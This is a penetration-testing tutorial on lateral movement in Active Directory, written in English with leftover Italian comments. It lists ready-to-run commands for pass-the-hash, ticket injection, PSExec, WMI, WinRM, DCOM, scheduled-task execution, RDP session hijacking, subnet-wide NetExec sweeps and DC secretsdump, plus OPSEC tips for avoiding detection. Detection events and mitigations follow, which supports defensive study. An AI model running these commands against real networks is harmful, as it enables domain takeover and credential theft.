Lateral Movement in Active Directory: Techniques, Tools and OPSEC

Lateral Movement in Active Directory: Techniques, Protocols and Detection #

Lateral movement is the post-exploitation phase in which a compromised credential—NTLM hash, Kerberos ticket, or cleartext password—is used to authenticate to other hosts in the domain and execute commands. Each technique uses different protocols, leaves behind different artifacts, and requires different prerequisites.

Gaining a foothold on a host is just the beginning. In an enterprise Active Directory environment , the real value lies in the subsequent hosts—the file server, the DC, the administrator workstation. Lateral movement is the process of using what you have (hashes, tickets, passwords) to achieve what you want.

There is no universally best lateral movement technique. The choice depends on the available prerequisites (type of credential), the open port on the target, and the level of SOC monitoring. The stealthiest technique is not always the most reliable.

Classified by MITER ATT&CK as T1021 (Remote Services) and T1550 (Use Alternate Authentication Material).

Common Prerequisites #

For any lateral movement technique you need:

• A valid credential: NTLM hash, Kerberos ticket, or cleartext password
• Network access to the target on the requested port
• Sufficient privileges on the target (almost always local admin or domain admin)

Credentials are typically obtained via credential dumping from LSASS, DCSync , Kerberoasting , or Pass-the-Hash.

Comparison Table #

Which Technique to Use — Quick Map #

The choice depends on what you have in hand and what is open on the target:

HAI UNA PASSWORD IN CHIARO
├── Porta 445 aperta → PSExec, smbexec, NetExec
├── Porta 5985 aperta → WinRM / Evil-WinRM
├── Porta 135 aperta → WMIExec, DCOM
└── Porta 3389 aperta → RDP

HAI UN HASH NTLM (Pass-the-Hash)
├── Porta 445 → impacket-psexec -hashes, NetExec -H
├── Porta 5985 → evil-winrm -H
├── Porta 135 → impacket-wmiexec -hashes
└── LDAP/Kerberos → Overpass-the-Hash (converti hash → ticket, se RC4 ammesso)

HAI UN TICKET KERBEROS (.ccache / .kirbi)
├── Qualsiasi servizio Kerberos → export KRB5CCNAME + -k -no-pass
├── Porta 445 → impacket-psexec/smbexec -k
└── Porta 5985 → Evil-WinRM con -r REALM e -K ticket.ccache

HAI SOLO SHELL LOCALE (no creds esterne)
├── Token impersonation → PrintSpoofer, GodPotato
└── SeImpersonatePrivilege → Potato attacks

Pass-the-Hash (PTH) #

The most straightforward method: Use the NTLM hash to authenticate without knowing the password. It works on any protocol that accepts NTLM.

# PSExec via PTH — shell SYSTEM sul target
impacket-psexec -hashes :NThash corp.local/administrator@<TARGET_IP>

# WMIExec via PTH
impacket-wmiexec -hashes :NThash corp.local/administrator@<TARGET_IP>

# smbexec via PTH
impacket-smbexec -hashes :NThash corp.local/administrator@<TARGET_IP>

# NetExec — esecuzione su più target contemporaneamente
nxc smb <TARGET_IP> -u administrator -H :NThash -x "whoami"
nxc smb targets.txt -u administrator -H :NThash -x "whoami"

# Mimikatz — PTH che avvia un processo nel contesto dell'hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:NThash /run:powershell.exe

For the complete guide see Pass-the-Hash.

Does PTH work with any account? No. It depends on the NTLM support on the target, the privileges, the UAC remote restrictions and local account policies. By default, a local account that is a member of the Administrators group can receive a filtered token on remote administrative connections that prevents access to ADMIN$/C$ — the behavior depends on LocalAccountTokenFilterPolicyDomain accounts that are members of the local administrators group normally receive a full administrative token. Accounts in the group Protected Users cannot authenticate via NTLM.

Overpass-the-Hash (Hash → Kerberos Ticket) #

Converts an NTLM hash into a Kerberos ticket (TGT), using the NT hash as the RC4 key. Useful when RC4 is still allowed for that account and environment—this is not a universal technique.

# Mimikatz — crea TGT dall'hash e lo inietta in memoria
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:NThash /run:powershell.exe
# Nella nuova shell:
klist
dir \\DC01\C$

# Rubeus — richiede TGT dall'hash e lo inietta
.\Rubeus.exe asktgt /user:administrator /rc4:NThash /domain:corp.local /ptt

# Da Linux — ottieni TGT con impacket e usalo
impacket-getTGT corp.local/administrator -hashes :NThash -dc-ip <DC_IP>
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass corp.local/administrator@TARGET.corp.local

Important limitation: Protected Users accounts cannot use RC4/DES for Kerberos, they require AES keys — Overpass-the-Hash based only on the NT hash does not work on these accounts or where RC4 has been disabled.

Pass-the-Ticket #

Use a pre-obtained Kerberos ticket (TGT or TGS) to authenticate without a password or hash.

TGT, TGS, and SPN: Which Tickets Can You Use? #

Un TGT allows you to request new service tickets from the Domain Controller — it is the most versatile. TGS It is instead linked to a specific service and SPN: a ticket for cifs/server does not automatically equate to a valid HTTP ticket for WinRM on the same host. Before using a ticket, verify the principal, target, and type with klistKerberos also requires consistent DNS, FQDN, and SPN, as well as time synchronization between clients and KDCs.

# Inietta ticket in memoria (da Linux con ccache)
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass corp.local/administrator@TARGET.corp.local
impacket-wmiexec -k -no-pass corp.local/administrator@TARGET.corp.local
impacket-smbclient -k -no-pass corp.local/administrator@TARGET.corp.local

# Rubeus — inietta ticket .kirbi in memoria
Rubeus.exe ptt /ticket:ticket.kirbi
klist
dir \\TARGET\C$

Rubeus.exe ptt /ticket:<base64_ticket>

For Golden and Silver Tickets see the dedicated articles: Golden Ticket and Silver Ticket.

PSExec — SMB #

Copy a temporary binary (RemComSvc) on ADMIN$, creates a service, runs the command, then removes everything. Gives SYSTEM shell.

impacket-psexec corp.local/administrator:Password123!@<TARGET_IP>
impacket-psexec -hashes :NThash corp.local/administrator@<TARGET_IP>
impacket-psexec -k -no-pass corp.local/administrator@TARGET.corp.local
impacket-psexec corp.local/administrator:Password123!@<TARGET_IP> "whoami"

.\PsExec.exe \\TARGET cmd.exe
.\PsExec.exe \\TARGET -u CORP\administrator -p Password123! cmd.exe

wmiexec — Windows Management Instrumentation #

Execute commands via Win32_Process.Create. It does not create services or load a dedicated executable — but In Impacket's default mode, it still uses a temporary file on the ADMIN$ share to retrieve the command output., so it is not completely fileless. The mode -nooutput Avoids the SMB connection for retrieving results. The remote process runs in the context of the authenticated user, not automatically as SYSTEM.

impacket-wmiexec corp.local/administrator:Password123!@<TARGET_IP>
impacket-wmiexec -hashes :NThash corp.local/administrator@<TARGET_IP>
impacket-wmiexec -k -no-pass corp.local/administrator@TARGET.corp.local
impacket-wmiexec corp.local/administrator:Password123!@<TARGET_IP> "ipconfig"

# PowerShell nativo — WMI remoto
Invoke-WmiMethod -Class Win32_Process -Name Create `
  -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" `
  -ComputerName TARGET -Credential $cred

# WMIC (LOLBin storico — deprecato e disabilitato di default su Windows 11 recenti)
wmic /node:TARGET /user:CORP\administrator /password:Password123! `
  process call create "cmd.exe /c whoami > C:\temp\out.txt"

smbexec — SMB Without Dedicated Tracking #

It does not load a binary type RemComSvc, but However, it creates a temporary service via Service Control Manager for each command, in addition to generating a temporary batch file and an output file on the share, it then attempts to clean them. This is not a stealth technique.

impacket-smbexec corp.local/administrator:Password123!@<TARGET_IP>
impacket-smbexec -hashes :NThash corp.local/administrator@<TARGET_IP>

WinRM — PowerShell Remoting #

Requires WinRM to be enabled on the target (port 5985/5986). Provides a full PowerShell session.

# Evil-WinRM da Linux — password o hash
evil-winrm -i <TARGET_IP> -u administrator -p Password123!
evil-winrm -i <TARGET_IP> -u administrator -H NThash

# Kerberos — realm + ticket ccache/kirbi (FQDN del target richiesto)
evil-winrm -i TARGET.corp.local -r CORP.LOCAL -K ticket.ccache

# SSL opzionale (indipendente da Kerberos)
evil-winrm -i TARGET.corp.local -r CORP.LOCAL -K ticket.ccache -S

# Certificato client
evil-winrm -i <TARGET_IP> -u administrator -c cert.pem -k key.pem -S

Note: in Evil-WinRM -k it is the path of the certificate private key, -K (capital) is the Kerberos ticket ccache/kirbi. Kerberos does not necessarily require HTTPS.

Enter-PSSession -ComputerName TARGET -Credential $cred

Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami; hostname }

Invoke-Command -ComputerName (Get-Content hosts.txt) -Credential $cred `
  -ScriptBlock { whoami } -ThrottleLimit 10

Test-WSMan -ComputerName TARGET

For a complete guide to Evil-WinRM see evil-winrm.

DCOM — Distributed COM #

Use COM objects to execute code remotely. Less documented than the methods above, but natively supported on every modern Windows.

$com = [System.Activator]::CreateInstance([System.Type]::GetTypeFromProgID("Shell.Application", "TARGET"))
$com.ShellExecute("cmd.exe", "/c whoami > C:\temp\out.txt", "C:\Windows\System32", $null, 0)

$com = [System.Activator]::CreateInstance([System.Type]::GetTypeFromProgID("MMC20.Application", "TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\temp\out.txt", "7")

impacket-dcomexec corp.local/administrator:Password123!@<TARGET_IP> "whoami"
impacket-dcomexec -hashes :NThash corp.local/administrator@<TARGET_IP> "whoami"

atexec — Remote Task Scheduler #

Executes commands via remote Task Scheduler: it doesn't create a service, but creates (and then removes) a scheduled task. Alternative to wmiexec when SMB named pipes are blocked.

impacket-atexec corp.local/administrator:Password123!@<TARGET_IP> "whoami"
impacket-atexec -hashes :NThash corp.local/administrator@<TARGET_IP> "whoami"
impacket-atexec -k -no-pass corp.local/administrator@TARGET.corp.local "whoami"

RDP Session Hijacking #

If you have SYSTEM access on a host with active RDP sessions, you can hijack an authenticated user's session without knowing their credentials:

query session /server:TARGET
# rdp-tcp#0    john.doe  2   Active

tscon 2 /dest:rdp-tcp#0

sc.exe \\TARGET create hijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#0"
sc.exe \\TARGET start hijack

RDP — Remote Desktop #

Useful for interactive access but high detection profile — generates visible logs and does not scale across many targets.

xfreerdp /u:administrator /p:Password123! /v:<TARGET_IP>
xfreerdp /u:administrator /pth:NThash /v:<TARGET_IP>  # PTH via RDP (richiede Restricted Admin Mode)

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0

SSH #

Less common in legacy Windows environments, but especially worth checking on Windows Server 2025 , where OpenSSH Server is installed by default—the service still needs to be enabled. On Server 2019, Server 2022, and Windows clients, it remains an optional feature.

Large-Scale Lateral Movement — NetExec #

NetExec is the most effective tool for moving across many hosts simultaneously.

nxc smb 192.168.1.0/24 -u administrator -H :NThash

nxc smb 192.168.1.0/24 -u administrator -H :NThash -x "whoami" --no-bruteforce

nxc winrm 192.168.1.0/24 -u administrator -H :NThash

nxc wmi 192.168.1.0/24 -u administrator -H :NThash -x "whoami"

export KRB5CCNAME=ticket.ccache
nxc smb targets.txt -k --no-bruteforce -x "whoami"

Mapping MITRE ATT&CK #

OPSEC #

• PSExec is among the noisiest: Create a service and copy a binary. The event 7045 (System log) and the 4697 (Security log, if audit policy is active) are expected artifacts to be collected and correlated
• smbexec is not stealth: It still creates a temporary service via SCM for each command, as well as batch files and output to shares.
• wmiexec is a compromise: no service, but typically writes output to ADMIN$ (avoidable with -nooutput)
• WinRM does not create services or binaries, but it is not automatically stealthy: Generates WSMan sessions, remote logons, and related PowerShell processes
• Pass-the-Ticket is not invisible: Anomalous use of the same ticket by different hosts or towards unusual services is detectable via behavioral detection
• Prefer single commands to interactive shells: less exposure time in the remote session
• Avoid bouncing through many consecutive hops: each hop adds a detection point

Real Scenario #

You dumped the hash of corp\administrator From a compromised workstation. You want to reach the file server and DC.

# 1. Verifica dove sei admin
nxc smb 192.168.1.0/24 -u administrator -H :NThash | grep "Pwn3d"

# 2. Lateral movement sul file server
impacket-wmiexec -hashes :NThash corp.local/administrator@FILESERVER.corp.local

# 3. Dal file server, dump ulteriori credenziali, poi pivot verso il DC

# 4. Sul DC, converti in ticket Kerberos e usalo
impacket-getTGT corp.local/administrator -hashes :NThash -dc-ip <DC_IP>
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@DC01.corp.local -just-dc

Detection #

🔴 HIGH:

• Event ID 7045 (System) — Service installation: artifact expected for both PSExec and smbexec
• Event ID 4697 (Security, if auditing enabled) — service installed on the system
• Event ID 4698 — creation of a scheduled task (atexec): task created and removed in a very short time window, correlate with Task Scheduler Operational log and child process generated by Task Scheduler
• Event ID 4624 Type 3 — repeated network logons from the same account to multiple hosts in a short time
• Event ID 4648 — logon with explicit credentials other than the session account

🟡 MEDIUM:

• WMI activity (__EventConsumer, Win32_Process.Create) from non-administrative processes
• WinRM/WSMan sessions from unusual hosts, correlated with remote logon and PowerShell processes (MITRE has a specific detection strategy for T1021.006 based on this correlation)
• Same Kerberos ticket or hash used to authenticate on multiple machines or unusual services in sequence

Mitigation #

• Windows LAPS — unique and rotated local password for each machine, blocks lateral PTH based on local admin's common hash
• Credential Guard — Isolates LSASS in a virtualized environment (VBS), protects NTLM hashes, Kerberos TGTs, and other domain credentials; this is not a universal solution and does not protect credentials already stolen elsewhere. Enabled by default on eligible Windows 11 22H2 and Windows Server 2025 domain-joined non-DC systems.
• Remote Credential Guard / Restricted Admin Mode — reduces credential exposure during RDP sessions
• Disable NTLM where possible, force Kerberos — reduces the classic PTH vector
• SMB Signing — protects against traffic tampering, spoofing, and relaying; does not prevent for someone who already has a valid credential or hash to authenticate normally via SMB, so it is not a mitigation against Pass-the-Hash itself
• Deny network logon and RDP to the groups Local account e Local account and member of Administrators group
• Network segmentation — limit SMB/WMI/WinRM ports only to hosts that have an operational need for them
• Separate administrative accounts for workstations, servers and domain controllers
• Protected Users Security Group for privileged accounts (block NTLM and RC4/DES over Kerberos for those accounts)

FAQ #

Is lateral movement always necessary in an engagement? No. It depends on the target. If the first compromised host already contains the required data, control, or evidence, lateral movement may not be necessary. It becomes relevant when different systems, identities, or segments need to be reached.

What's the difference between lateral movement and privilege escalation? Privilege escalation increases privileges on the same host (from user to SYSTEM). Lateral movement moves access to a different host. A typical engagement often involves both: local escalation to obtain a hash, then lateral movement to the next target.

Is WinRM stealthier than PSExec? It bypasses PSExec's typical service creation and binary loading, but it's not automatically stealthy: it creates remote sessions, authentication, WSMan activity, and processes on the target. Detectability depends on the baseline and telemetry collected by the SOC.

Which ports need to be open for lateral movement? SMB requires 445, WMI requires 135 + dynamic ports, WinRM requires 5985 (HTTP) or 5986 (HTTPS), RDP requires 3389. In many corporate networks, the firewall blocks these protocols between workstations but not between workstations and servers.

Does PTH work on all accounts? No. It depends on NTLM support, target privileges, remote UAC restrictions, and local account policies. Protected User accounts cannot use NTLM; local accounts may receive a filtered remote token depending on the configuration.

What happens if WinRM is disabled? Try WMI (port 135) as an alternative. If WMI is also blocked, SMB + PSExec/smbexec are often still available. As a last resort, if RDP is open, lateral movement via the GUI is still possible.

Conclusion #

Lateral movement is the process that transforms a single compromised host into a compromised domain. Choosing the right technique—based on available credentials, open ports, and the environment's detection profile—is what distinguishes a noisy engagement from a stealthy one.

The defense isn't about blocking a single technique, but about reducing the surface area: LAPS for local admins, Credential Guard for hashes, and segmentation to limit reach. Without these structural controls, any compromised credential is a ticket to the entire domain.

Resources:

• MITER ATT&CK – T1021 Remote Services
• MITER ATT&CK – T1550 Use Alternate Authentication Material
• HackTricks – Lateral Movement